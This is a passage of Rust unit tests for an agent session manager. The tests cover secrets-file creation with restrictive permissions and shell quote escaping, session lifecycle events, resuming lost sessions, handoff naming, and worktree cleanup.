        assert!(!cmd.contains("TERM_PROGRAM"));
    }

    #[test]
    fn test_write_secrets_file_empty() {
        let tmpdir = tempfile::tempdir().unwrap();
        let id = uuid::Uuid::new_v4();
        let result =
            write_secrets_file(&id, &HashMap::new(), tmpdir.path().to_str().unwrap()).unwrap();
        assert!(result.is_none());
    }

    #[test]
    fn test_write_secrets_file_creates_file() {
        let tmpdir = tempfile::tempdir().unwrap();
        let data_dir = tmpdir.path().to_str().unwrap();
        let id = uuid::Uuid::new_v4();
        let mut secrets = HashMap::new();
        secrets.insert("GITHUB_TOKEN".to_owned(), "ghp_abc123".to_owned());
        secrets.insert("NPM_TOKEN".to_owned(), "npm_xyz".to_owned());

        let path = write_secrets_file(&id, &secrets, data_dir)
            .unwrap()
            .unwrap();
        assert_eq!(path, format!("{data_dir}/secrets/secrets-{id}.sh"));

        // File should exist and contain export statements
        let content = std::fs::read_to_string(&path).unwrap();
        assert!(content.contains("export GITHUB_TOKEN='ghp_abc123'"));
        assert!(content.contains("export NPM_TOKEN='npm_xyz'"));

        // File should have restrictive permissions (0600) set atomically
        #[cfg(unix)]
        {
            use std::os::unix::fs::PermissionsExt;
            let metadata = std::fs::metadata(&path).unwrap();
            assert_eq!(metadata.permissions().mode() & 0o777, 0o600);
        }
    }

    #[test]
    fn test_write_secrets_file_escapes_single_quotes() {
        let tmpdir = tempfile::tempdir().unwrap();
        let data_dir = tmpdir.path().to_str().unwrap();
        let id = uuid::Uuid::new_v4();
        let mut secrets = HashMap::new();
        secrets.insert("MY_KEY".to_owned(), "value'with'quotes".to_owned());

        let path = write_secrets_file(&id, &secrets, data_dir)
            .unwrap()
            .unwrap();
        let content = std::fs::read_to_string(&path).unwrap();
        assert!(content.contains("export MY_KEY='value'\\''with'\\''quotes'"));
    }

    #[tokio::test]
    async fn test_create_session_with_secrets() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        // Pre-populate secrets
        mgr.store()
            .set_secret("MY_TOKEN", "secret123")
            .await
            .unwrap();
        mgr.store()
            .set_secret_with_env("GH_WORK", "ghp_abc", Some("GITHUB_TOKEN"))
            .await
            .unwrap();

        let mut req = make_req("secret-test");
        req.secrets = Some(vec!["MY_TOKEN".into(), "GH_WORK".into()]);
        let session = mgr.create_session(req).await.unwrap();
        assert_eq!(session.status, SessionStatus::Active);

        let calls = backend.calls.lock().unwrap();
        let create_call = &calls[0];
        // Secrets should NOT appear in the command string (security fix)
        assert!(
            !create_call.contains("secret123"),
            "secret value leaked into command: {create_call}"
        );
        assert!(
            !create_call.contains("ghp_abc"),
            "secret value leaked into command: {create_call}"
        );
        // Instead, the command should source a secrets file from data_dir
        assert!(
            create_call.contains("/secrets/secrets-"),
            "command should source secrets file: {create_call}"
        );
        assert!(
            create_call.contains("&& rm -f"),
            "command should delete secrets file: {create_call}"
        );
        drop(calls);

        // Verify the secrets file was created with correct content in data_dir
        let data_dir = mgr.store().data_dir();
        let secrets_path = format!("{data_dir}/secrets/secrets-{}.sh", session.id);
        let content = std::fs::read_to_string(&secrets_path).unwrap();
        assert!(content.contains("export MY_TOKEN='secret123'"));
        assert!(content.contains("export GITHUB_TOKEN='ghp_abc'"));
    }

    #[tokio::test]
    async fn test_create_session_with_empty_secrets() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let mut req = make_req("empty-secrets");
        req.secrets = Some(vec![]);
        let session = mgr.create_session(req).await.unwrap();
        assert_eq!(session.status, SessionStatus::Active);
    }

    #[tokio::test]
    async fn test_create_session_emits_event() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let (event_tx, mut event_rx) = broadcast::channel(16);
        let mgr = mgr.with_event_tx(event_tx, "test-node".into());
        let _session = mgr.create_session(make_req("event-test")).await.unwrap();

        let event = event_rx.recv().await.unwrap();
        let se = unwrap_session_event(event);
        assert_eq!(se.session_name, "event-test");
        assert_eq!(se.status, "active");
        assert_eq!(se.previous_status.as_deref(), Some("creating"));
        assert_eq!(se.node_name, "test-node");
    }

    #[tokio::test]
    async fn test_stop_session_emits_event() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let (event_tx, mut event_rx) = broadcast::channel(16);
        let mgr = mgr.with_event_tx(event_tx, "test-node".into());
        let session = mgr.create_session(make_req("stop-event")).await.unwrap();
        // Drain the create event
        let _ = event_rx.recv().await;

        mgr.stop_session(&session.id.to_string(), false)
            .await
            .unwrap();
        let event = event_rx.recv().await.unwrap();
        let se = unwrap_session_event(event);
        assert_eq!(se.status, "stopped");
    }

    #[tokio::test]
    async fn test_stop_session_purge_emits_deleted_event() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let (event_tx, mut event_rx) = broadcast::channel(16);
        let mgr = mgr.with_event_tx(event_tx, "test-node".into());
        let session = mgr.create_session(make_req("purge-event")).await.unwrap();
        let _ = event_rx.recv().await;

        mgr.stop_session(&session.id.to_string(), true)
            .await
            .unwrap();

        let stopped = event_rx.recv().await.unwrap();
        let deleted = event_rx.recv().await.unwrap();
        let stopped = unwrap_session_event(stopped);
        assert_eq!(stopped.status, "stopped");
        match deleted {
            PulpoEvent::SessionDeleted(se) => {
                assert_eq!(se.session_id, session.id.to_string());
                assert_eq!(se.session_name, "purge-event");
                assert_eq!(se.node_name, "test-node");
            }
            PulpoEvent::Session(_) | PulpoEvent::UsageAlert(_) | PulpoEvent::Intervention(_) => {
                panic!("expected session_deleted event")
            }
        }
    }

    #[tokio::test]
    async fn test_stop_session_purge_active_succeeds() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();
        let id = session.id.to_string();

        // stop_session with purge handles active sessions fine — stops then purges
        mgr.stop_session(&id, true).await.unwrap();
        let fetched = mgr.get_session(&id).await.unwrap();
        assert!(fetched.is_none());
    }

    #[tokio::test]
    async fn test_stop_session_purge_not_found() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let result = mgr.stop_session("nonexistent", true).await;
        assert!(result.is_err());
        assert!(result.unwrap_err().to_string().contains("not found"));
    }

    #[tokio::test]
    async fn test_resolve_backend_id_with_stored() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("test")).await.unwrap();
        let backend_id = mgr.resolve_backend_id(&session);
        // MockBackend.query_backend_id returns $N where N is name length
        assert_eq!(backend_id, "$4");
    }

    #[tokio::test]
    async fn test_resolve_command_no_command_falls_back_to_shell() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let req = CreateSessionRequest {
            name: "test".into(),
            workdir: Some("/tmp".into()),
            command: None,
            description: Some("desc".into()),
            metadata: None,
            idle_threshold_secs: None,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        };
        let resolved = mgr.resolve_command(&req);
        // Falls back to $SHELL or /bin/sh
        assert!(!resolved.command.is_empty());
        assert_eq!(resolved.description, Some("desc".into()));
    }

    #[tokio::test]
    async fn test_create_session_uses_default_command() {
        let tmpdir = tempfile::tempdir().unwrap();
        let tmpdir = Box::leak(Box::new(tmpdir));
        let store = Store::new(tmpdir.path().to_str().unwrap()).await.unwrap();
        store.migrate().await.unwrap();
        let backend = Arc::new(MockBackend::new());
        let mgr = SessionManager::new(backend, store, Some("claude".into())).with_no_stale_grace();

        let req = CreateSessionRequest {
            name: "default-cmd-test".into(),
            workdir: Some("/tmp".into()),
            command: None,
            description: None,
            metadata: None,
            idle_threshold_secs: None,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        };
        let session = mgr.create_session(req).await.unwrap();
        assert_eq!(session.command, "claude");
    }

    #[tokio::test]
    async fn test_create_session_explicit_command_overrides_default() {
        let tmpdir = tempfile::tempdir().unwrap();
        let tmpdir = Box::leak(Box::new(tmpdir));
        let store = Store::new(tmpdir.path().to_str().unwrap()).await.unwrap();
        store.migrate().await.unwrap();
        let backend = Arc::new(MockBackend::new());
        let mgr = SessionManager::new(backend, store, Some("claude".into())).with_no_stale_grace();

        let req = CreateSessionRequest {
            name: "explicit-cmd-test".into(),
            workdir: Some("/tmp".into()),
            command: Some("custom-agent".into()),
            description: None,
            metadata: None,
            idle_threshold_secs: None,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        };
        let session = mgr.create_session(req).await.unwrap();
        assert_eq!(session.command, "custom-agent");
    }

    #[test]
    fn test_write_secrets_file_path_includes_session_id() {
        let tmpdir = tempfile::tempdir().unwrap();
        let data_dir = tmpdir.path().to_str().unwrap();
        let id = uuid::Uuid::new_v4();
        let mut secrets = HashMap::new();
        secrets.insert("KEY".to_owned(), "val".to_owned());
        let path = write_secrets_file(&id, &secrets, data_dir)
            .unwrap()
            .unwrap();
        assert!(
            path.contains(&id.to_string()),
            "path should contain session ID: {path}"
        );
        assert_eq!(path, format!("{data_dir}/secrets/secrets-{id}.sh"));
    }

    #[test]
    fn test_write_secrets_file_content_format() {
        let tmpdir = tempfile::tempdir().unwrap();
        let data_dir = tmpdir.path().to_str().unwrap();
        let id = uuid::Uuid::new_v4();
        let mut secrets = HashMap::new();
        secrets.insert("MY_VAR".to_owned(), "hello world".to_owned());
        let path = write_secrets_file(&id, &secrets, data_dir)
            .unwrap()
            .unwrap();
        let content = std::fs::read_to_string(&path).unwrap();
        // Each line should be: export KEY='VALUE'
        assert!(content.contains("export MY_VAR='hello world'\n"));
    }

    #[test]
    fn test_write_secrets_file_escapes_multiple_single_quotes() {
        let tmpdir = tempfile::tempdir().unwrap();
        let data_dir = tmpdir.path().to_str().unwrap();
        let id = uuid::Uuid::new_v4();
        let mut secrets = HashMap::new();
        secrets.insert("K".to_owned(), "a'b'c".to_owned());
        let path = write_secrets_file(&id, &secrets, data_dir)
            .unwrap()
            .unwrap();
        let content = std::fs::read_to_string(&path).unwrap();
        // Each ' becomes '\'' in shell single-quote escaping
        assert!(content.contains("export K='a'\\''b'\\''c'"));
    }

    #[test]
    fn test_wrap_command_secrets_source_before_env_vars() {
        let id = uuid::Uuid::new_v4();
        let cmd = wrap_command(
            "echo test",
            &id,
            "sess",
            Some("/tmp/secrets.sh"),
            None,
            "/tmp",
        );
        // The source-and-delete must come BEFORE the env var exports
        let source_pos = cmd.find(". /tmp/secrets.sh").unwrap();
        let env_pos = cmd.find("PULPO_SESSION_ID").unwrap();
        assert!(
            source_pos < env_pos,
            "secrets should be sourced before env vars: {cmd}"
        );
    }

    #[test]
    fn test_wrap_command_secrets_source_and_delete_pattern() {
        let id = uuid::Uuid::new_v4();
        let path = "/tmp/pulpo-secrets-test.sh";
        let cmd = wrap_command("my-agent", &id, "sess", Some(path), None, "/tmp");
        // Pattern: `. <file> && rm -f <file>; `
        assert!(cmd.contains(&format!(". {path} && rm -f {path}; ")));
    }

    #[tokio::test]
    async fn test_create_session_with_missing_secret_names() {
        // Requesting secrets that don't exist in store — should silently skip them
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let mut req = make_req("missing-secrets");
        req.secrets = Some(vec!["NONEXISTENT_SECRET".into()]);
        let session = mgr.create_session(req).await.unwrap();
        assert_eq!(session.status, SessionStatus::Active);
    }

    #[tokio::test]
    async fn test_create_session_secret_env_collision() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        // Set up two secrets that both map to GITHUB_TOKEN
        mgr.store()
            .set_secret("GITHUB_TOKEN", "val1")
            .await
            .unwrap();
        mgr.store()
            .set_secret_with_env("GH_WORK", "val2", Some("GITHUB_TOKEN"))
            .await
            .unwrap();

        let mut req = make_req("collision-test");
        req.secrets = Some(vec!["GITHUB_TOKEN".into(), "GH_WORK".into()]);
        let result = mgr.create_session(req).await;
        let err = result.unwrap_err().to_string();
        assert!(err.contains("both map to env var"), "got: {err}");
    }

    #[tokio::test]
    async fn test_create_session_no_command_no_default_falls_back_to_shell() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let req = CreateSessionRequest {
            name: "no-fallback".into(),
            workdir: Some("/tmp".into()),
            command: None,
            description: None,
            metadata: None,
            idle_threshold_secs: None,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        };
        let session = mgr.create_session(req).await.unwrap();
        // Should fall back to $SHELL or /bin/sh
        assert!(!session.command.is_empty());
        let calls = backend.calls.lock().unwrap();
        assert!(calls[0].contains("-l -c"));
        drop(calls);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_resumes_active_with_dead_backend() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        // Create a session (backend is alive)
        mgr.create_session(make_req("sess-a")).await.unwrap();

        // Now simulate reboot: backend reports dead
        *backend.alive.lock().unwrap() = false;

        // Build a new manager that uses the same store but with dead backend
        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 1);

        // Backend should have received a create call for the resumed session
        // 2 create calls: one from original create_session, one from resume
        let resume_creates = backend
            .calls
            .lock()
            .unwrap()
            .iter()
            .filter(|c| c.starts_with("create:"))
            .count();
        assert_eq!(resume_creates, 2);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_skips_stopped_sessions() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        mgr.create_session(make_req("stopped-sess")).await.unwrap();
        mgr.stop_session("stopped-sess", false).await.unwrap();

        *backend.alive.lock().unwrap() = false;
        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 0);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_skips_alive_sessions() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        mgr.create_session(make_req("alive-sess")).await.unwrap();

        // Backend is alive — should not resume
        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 0);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_resumes_idle_sessions() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("idle-sess")).await.unwrap();

        // Manually set to Idle (simulates watchdog marking it idle before reboot)
        mgr.store()
            .update_session_status(&session.id.to_string(), SessionStatus::Idle)
            .await
            .unwrap();

        *backend.alive.lock().unwrap() = false;
        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 1);

        // Simulate the resumed session being alive now
        *backend.alive.lock().unwrap() = true;

        // Session should be Active again
        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Active);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_marks_lost_on_backend_failure() {
        let (mgr, _, _pool) =
            test_manager(MockBackend::new().with_alive(false).with_create_error()).await;
        // Force-insert a session that looks active but backend will fail on resume
        let session = Session {
            id: Uuid::new_v4(),
            name: "fail-resume".into(),
            workdir: "/tmp".into(),
            command: "echo hello".into(),
            status: SessionStatus::Active,
            backend_session_id: Some("fail-resume".into()),
            created_at: Utc::now() - chrono::Duration::hours(1),
            ..Default::default()
        };
        mgr.store().insert_session(&session).await.unwrap();

        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 0);

        // Session should be marked Lost (not Active)
        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        assert_eq!(fetched.status, SessionStatus::Lost);
    }

    #[tokio::test]
    async fn test_resume_lost_sessions_returns_zero_when_empty() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let resumed = mgr.resume_lost_sessions().await.unwrap();
        assert_eq!(resumed, 0);
    }

    #[tokio::test]
    async fn test_create_session_invalid_workdir() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let req = CreateSessionRequest {
            name: "bad-dir".to_owned(),
            workdir: Some("/nonexistent/path/that/does/not/exist".into()),
            command: Some("echo hi".into()),
            description: None,
            metadata: None,
            idle_threshold_secs: None,
            worktree: None,
            worktree_base: None,
            runtime: None,
            secrets: None,
            term_program: None,
            budget_cost_usd: None,
        };
        let err = mgr.create_session(req).await.unwrap_err();
        assert!(
            err.to_string().contains("working directory does not exist"),
            "{err}"
        );
    }

    #[tokio::test]
    async fn test_create_session_docker_runtime_rejected() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let mut req = make_req("docker-rejected");
        req.runtime = Some(Runtime::Docker);
        let err = mgr.create_session(req).await.unwrap_err();
        assert!(
            err.to_string().contains("docker runtime was removed"),
            "{err}"
        );
        // The backend must never be asked to create anything
        let calls = backend.calls.lock().unwrap();
        assert!(!calls.iter().any(|c| c.starts_with("create:")));
        drop(calls);
    }

    #[tokio::test]
    async fn test_resume_session_invalid_workdir() {
        let (mgr, _, pool) = test_manager(MockBackend::new().with_alive(false)).await;
        let session = mgr
            .create_session(make_req("resume-bad-dir"))
            .await
            .unwrap();
        let id = session.id.to_string();
        // Mark as lost and set workdir to nonexistent path
        sqlx::query("UPDATE sessions SET status = 'lost', workdir = ? WHERE id = ?")
            .bind("/nonexistent/path/that/does/not/exist")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();
        let err = mgr.resume_session(&id).await.unwrap_err();
        assert!(
            err.to_string().contains("working directory does not exist"),
            "{err}"
        );
    }

    #[tokio::test]
    async fn test_resume_session_docker_runtime_rejected() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        // Force-insert a historical docker-runtime session (cannot be created anymore)
        let session = Session {
            id: Uuid::new_v4(),
            name: "old-docker".into(),
            workdir: "/tmp".into(),
            command: "claude".into(),
            status: SessionStatus::Lost,
            backend_session_id: Some("docker:pulpo-old-docker".into()),
            runtime: Runtime::Docker,
            created_at: Utc::now() - chrono::Duration::hours(1),
            ..Default::default()
        };
        mgr.store().insert_session(&session).await.unwrap();

        let err = mgr
            .resume_session(&session.id.to_string())
            .await
            .unwrap_err();
        assert!(
            err.to_string().contains("docker runtime was removed"),
            "{err}"
        );
        let calls = backend.calls.lock().unwrap();
        assert!(!calls.iter().any(|c| c.starts_with("create:")));
        drop(calls);
    }

    #[tokio::test]
    async fn test_list_sessions_includes_historical_docker_sessions() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        // Historical rows stored with runtime = "docker" must still list
        let session = Session {
            id: Uuid::new_v4(),
            name: "old-docker-row".into(),
            workdir: "/tmp".into(),
            command: "claude".into(),
            status: SessionStatus::Stopped,
            backend_session_id: Some("docker:pulpo-old-docker-row".into()),
            runtime: Runtime::Docker,
            created_at: Utc::now() - chrono::Duration::hours(1),
            ..Default::default()
        };
        mgr.store().insert_session(&session).await.unwrap();

        let sessions = mgr.list_sessions().await.unwrap();
        let listed = sessions
            .iter()
            .find(|s| s.name == "old-docker-row")
            .unwrap();
        assert_eq!(listed.runtime, Runtime::Docker);
        assert_eq!(listed.status, SessionStatus::Stopped);
    }

    #[test]
    fn test_validate_runtime_tmux_ok_docker_rejected() {
        assert!(validate_runtime(Runtime::Tmux).is_ok());
        let err = validate_runtime(Runtime::Docker).unwrap_err();
        assert!(
            err.to_string()
                .contains("the docker runtime was removed; sessions run in tmux"),
            "{err}"
        );
    }

    #[tokio::test]
    async fn test_stale_grace_period_prevents_early_marking() {
        // Use default stale_grace_secs (5) — don't use with_no_stale_grace
        let tmpdir = tempfile::tempdir().unwrap();
        let tmpdir = Box::leak(Box::new(tmpdir));
        let store = Store::new(tmpdir.path().to_str().unwrap()).await.unwrap();
        store.migrate().await.unwrap();
        let backend = Arc::new(MockBackend::new().with_alive(false));
        let mgr = SessionManager::new(backend, store, None);

        let session = mgr.create_session(make_req("young")).await.unwrap();
        // Session was just created — within grace period, so check_and_mark_stale returns false
        let fetched = mgr
            .get_session(&session.id.to_string())
            .await
            .unwrap()
            .unwrap();
        // Status should remain Active despite backend being dead (grace period)
        assert_eq!(fetched.status, SessionStatus::Active);
    }

    #[test]
    fn test_cleanup_worktree_nonexistent_path() {
        // Should not panic on nonexistent path
        cleanup_worktree("/tmp/nonexistent-worktree-path-for-test", "/tmp");
    }

    #[test]
    fn test_cleanup_worktree_existing_path() {
        // Create a temporary directory structure simulating ~/.pulpo/worktrees/session
        let tmpdir = tempfile::tempdir().unwrap();
        let wt_path = tmpdir
            .path()
            .join(".pulpo")
            .join("worktrees")
            .join("test-session");
        std::fs::create_dir_all(&wt_path).unwrap();
        let wt_str = wt_path.to_str().unwrap();
        assert!(wt_path.exists());
        // repo_dir doesn't need to be a real git repo for this test — prune is best-effort
        cleanup_worktree(wt_str, "/tmp");
        // The worktree directory should be removed
        assert!(!wt_path.exists());
    }

    #[tokio::test]
    async fn test_stop_session_with_worktree() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("wt-stop")).await.unwrap();
        let id = session.id.to_string();
        // Simulate a session with a worktree path (nonexistent — cleanup is best-effort)
        sqlx::query("UPDATE sessions SET worktree_path = ? WHERE id = ?")
            .bind("/tmp/nonexistent-wt-stop-test")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();
        // Stop should succeed even with a worktree path
        mgr.stop_session(&id, false).await.unwrap();
    }

    #[tokio::test]
    async fn test_stop_session_purge_with_worktree() {
        let (mgr, _, pool) = test_manager(MockBackend::new()).await;
        let session = mgr.create_session(make_req("wt-purge")).await.unwrap();
        let id = session.id.to_string();
        // Simulate a session with a worktree path (nonexistent — cleanup is best-effort)
        sqlx::query("UPDATE sessions SET worktree_path = ? WHERE id = ?")
            .bind("/tmp/nonexistent-wt-purge-test")
            .bind(&id)
            .execute(&pool)
            .await
            .unwrap();
        // Stop with purge should stop, clean up worktree, and delete from DB
        mgr.stop_session(&id, true).await.unwrap();
        let fetched = mgr.get_session(&id).await.unwrap();
        assert!(fetched.is_none());
    }

    // -- Handoff tests --

    fn make_handoff_req() -> HandoffSessionRequest {
        HandoffSessionRequest {
            name: None,
            command: None,
            description: None,
            secrets: None,
            budget_cost_usd: None,
            idle_threshold_secs: None,
            term_program: None,
        }
    }

    #[tokio::test]
    async fn test_handoff_session_not_found() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let err = mgr
            .handoff_session("nonexistent", make_handoff_req())
            .await
            .unwrap_err();
        assert!(err.to_string().contains("session not found"), "got: {err}");
    }

    #[tokio::test]
    async fn test_handoff_session_auto_name_no_worktree() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let source = mgr.create_session(make_req("plan-auth")).await.unwrap();

        let handed_off = mgr
            .handoff_session(&source.id.to_string(), make_handoff_req())
            .await
            .unwrap();

        assert_eq!(handed_off.name, "plan-auth-2");
        assert_eq!(handed_off.workdir, source.workdir);
        assert!(handed_off.worktree_path.is_none());
    }

    #[tokio::test]
    async fn test_handoff_session_auto_name_skips_existing() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let source = mgr.create_session(make_req("plan-auth")).await.unwrap();
        mgr.create_session(make_req("plan-auth-2")).await.unwrap();

        let handed_off = mgr
            .handoff_session(&source.id.to_string(), make_handoff_req())
            .await
            .unwrap();

        assert_eq!(handed_off.name, "plan-auth-3");
    }

    #[tokio::test]
    async fn test_handoff_session_explicit_name() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let source = mgr.create_session(make_req("plan-auth")).await.unwrap();
        let req = HandoffSessionRequest {
            name: Some("implement-auth".into()),
            ..make_handoff_req()
        };

        let handed_off = mgr
            .handoff_session(&source.id.to_string(), req)
            .await
            .unwrap();

        assert_eq!(handed_off.name, "implement-auth");
    }

    #[tokio::test]
    async fn test_handoff_session_by_name() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        mgr.create_session(make_req("plan-auth")).await.unwrap();

        // Resolves the source by name, same as get_session.
        let handed_off = mgr
            .handoff_session("plan-auth", make_handoff_req())
            .await
            .unwrap();

        assert_eq!(handed_off.name, "plan-auth-2");
    }

    #[tokio::test]
    async fn test_handoff_session_invalid_explicit_name() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let source = mgr.create_session(make_req("plan-auth")).await.unwrap();
        let req = HandoffSessionRequest {
            name: Some("Bad Name".into()),
            ..make_handoff_req()
        };

        let err = mgr
            .handoff_session(&source.id.to_string(), req)
            .await
            .unwrap_err();
        assert!(err.to_string().contains("lowercase"), "got: {err}");
    }

    #[tokio::test]
    async fn test_handoff_session_passes_through_fields() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let source = mgr.create_session(make_req("plan-auth")).await.unwrap();
        let req = HandoffSessionRequest {
            command: Some("codex 'implement PLAN.md'".into()),
            description: Some("Implement the plan".into()),
            idle_threshold_secs: Some(120),
            budget_cost_usd: Some(3.5),
            ..make_handoff_req()
        };

        let handed_off = mgr
            .handoff_session(&source.id.to_string(), req)
            .await
            .unwrap();

        assert_eq!(handed_off.command, "codex 'implement PLAN.md'");
        assert_eq!(
            handed_off.description.as_deref(),
            Some("Implement the plan")
        );
        assert_eq!(handed_off.idle_threshold_secs, Some(120));
        assert_eq!(handed_off.meta_str(meta::BUDGET_COST_USD), Some("3.5"));
    }

    #[tokio::test]
    async fn test_handoff_session_adopts_worktree() {
        let (mgr, backend, _pool) = test_manager(MockBackend::new()).await;
        let source = mgr.create_session(make_req("plan-auth")).await.unwrap();
        let wt_tmp = tempfile::tempdir().unwrap();
        let wt_path = wt_tmp.path().to_str().unwrap().to_owned();
        sqlx::query("UPDATE sessions SET worktree_path = ?, worktree_branch = ? WHERE id = ?")
            .bind(&wt_path)
            .bind("plan-auth")
            .bind(source.id.to_string())
            .execute(mgr.store().pool())
            .await
            .unwrap();

        let handed_off = mgr
            .handoff_session(&source.id.to_string(), make_handoff_req())
            .await
            .unwrap();

        assert_eq!(handed_off.worktree_path.as_deref(), Some(wt_path.as_str()));
        assert_eq!(handed_off.worktree_branch.as_deref(), Some("plan-auth"));
        // `pulpo worktree list` filters on worktree_path being set — it's naturally
        // included with no server-side change needed.
        assert!(handed_off.worktree_path.is_some());

        // The new session's tmux command must run in the worktree, not source.workdir.
        let calls = backend.calls.lock().unwrap();
        assert!(
            calls.iter().any(|c| c.contains(&wt_path)),
            "expected create call in worktree dir, got: {calls:?}"
        );
        drop(calls);
    }

    #[tokio::test]
    async fn test_handoff_session_worktree_missing_on_disk_bails() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let source = mgr.create_session(make_req("plan-auth")).await.unwrap();
        sqlx::query("UPDATE sessions SET worktree_path = ?, worktree_branch = ? WHERE id = ?")
            .bind("/tmp/pulpo-test-definitely-does-not-exist-xyz")
            .bind("plan-auth")
            .bind(source.id.to_string())
            .execute(mgr.store().pool())
            .await
            .unwrap();

        let err = mgr
            .handoff_session(&source.id.to_string(), make_handoff_req())
            .await
            .unwrap_err();
        assert!(err.to_string().contains("no longer exists"), "got: {err}");
    }

    #[test]
    fn test_handoff_suffixed_name_no_truncation_needed() {
        assert_eq!(
            SessionManager::handoff_suffixed_name("plan-auth", 2),
            "plan-auth-2"
        );
    }

    #[test]
    fn test_handoff_suffixed_name_truncates_long_source() {
        let long = "a".repeat(130);
        let name = SessionManager::handoff_suffixed_name(&long, 2);
        assert_eq!(name.len(), 128);
        assert!(name.ends_with("-2"));
    }

    #[test]
    fn test_handoff_suffixed_name_trims_trailing_hyphen_after_truncation() {
        // 125 'a's + a hyphen at position 126 + filler — truncating to 126 chars
        // (128 - len("-2")) would otherwise leave a dangling hyphen before the suffix.
        let mut long = "a".repeat(125);
        long.push('-');
        long.push_str("bbbb");
        let name = SessionManager::handoff_suffixed_name(&long, 2);
        assert!(!name.contains("--"), "got: {name}");
        assert!(name.ends_with("-2"));
    }

    #[tokio::test]
    async fn test_next_handoff_name_exhausts_to_suffix_100() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        for i in 2..=99u32 {
            let s = Session {
                id: Uuid::new_v4(),
                name: format!("plan-auth-{i}"),
                workdir: "/tmp".into(),
                command: "echo".into(),
                ..Default::default()
            };
            mgr.store().insert_session(&s).await.unwrap();
        }

        let name = mgr.next_handoff_name("plan-auth").await.unwrap();
        assert_eq!(name, "plan-auth-100");
    }

    // -- Worktree cleanup guard (shared worktrees via handoff) --

    #[tokio::test]
    async fn test_purge_session_skips_cleanup_when_worktree_shared() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let wt_tmp = tempfile::tempdir().unwrap();
        let wt_path = wt_tmp.path().to_str().unwrap().to_owned();

        let source = mgr.create_session(make_req("plan-auth")).await.unwrap();
        sqlx::query("UPDATE sessions SET worktree_path = ? WHERE id = ?")
            .bind(&wt_path)
            .bind(source.id.to_string())
            .execute(mgr.store().pool())
            .await
            .unwrap();

        // A second, still-active session shares the same worktree (as a real
        // `pulpo handoff` session would).
        let handoff = mgr.create_session(make_req("plan-auth-2")).await.unwrap();
        sqlx::query("UPDATE sessions SET worktree_path = ? WHERE id = ?")
            .bind(&wt_path)
            .bind(handoff.id.to_string())
            .execute(mgr.store().pool())
            .await
            .unwrap();

        // Stop + purge the source. The handoff session is still live and shares the
        // worktree, so the directory must survive.
        mgr.stop_session(&source.id.to_string(), true)
            .await
            .unwrap();

        assert!(
            std::path::Path::new(&wt_path).exists(),
            "worktree should survive while another live session references it"
        );
        assert!(
            mgr.get_session(&source.id.to_string())
                .await
                .unwrap()
                .is_none(),
            "purge always deletes the source row itself"
        );
    }

    #[tokio::test]
    async fn test_purge_session_cleans_solo_worktree() {
        let (mgr, _, _pool) = test_manager(MockBackend::new()).await;
        let wt_tmp = tempfile::tempdir().unwrap();
        let wt_path = wt_tmp.path().to_str().unwrap().to_owned();

        let session = mgr.create_session(make_req("solo-task")).await.unwrap();
        sqlx::query("UPDATE sessions SET worktree_path = ? WHERE id = ?")
